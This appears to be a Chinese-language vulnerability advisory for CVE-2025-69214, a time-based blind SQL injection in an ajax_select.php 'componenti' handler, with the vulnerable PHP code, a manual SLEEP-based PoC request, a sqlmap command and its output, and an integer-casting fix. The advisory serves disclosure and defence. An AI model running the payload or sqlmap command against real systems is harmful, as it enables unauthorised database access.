
| 字段 | 详细信息 |
|---|---|
| CVE ID | CVE-2025-69214 |
| 严重性 | 高 |
| 公告 | 查看公告 |
| 发现者 | Lukasz Rybak |
ajax_select.php 端点在处理 componenti 操作时存在 SQL 注入漏洞。经过认证的攻击者可以通过 options[matricola] 参数注入恶意 SQL 代码。
文件: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN() 子句中手动 PoC(基于时间的盲 SQL 注入):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMap 利用:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap 输出:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
在 SQL 中使用前将值转换为整数:
之前:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
之后:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
发现者:Łukasz Rybak
此 CVE 已按照协调漏洞披露实践进行负责任的披露。此处提供的信息仅供教育和防御用途。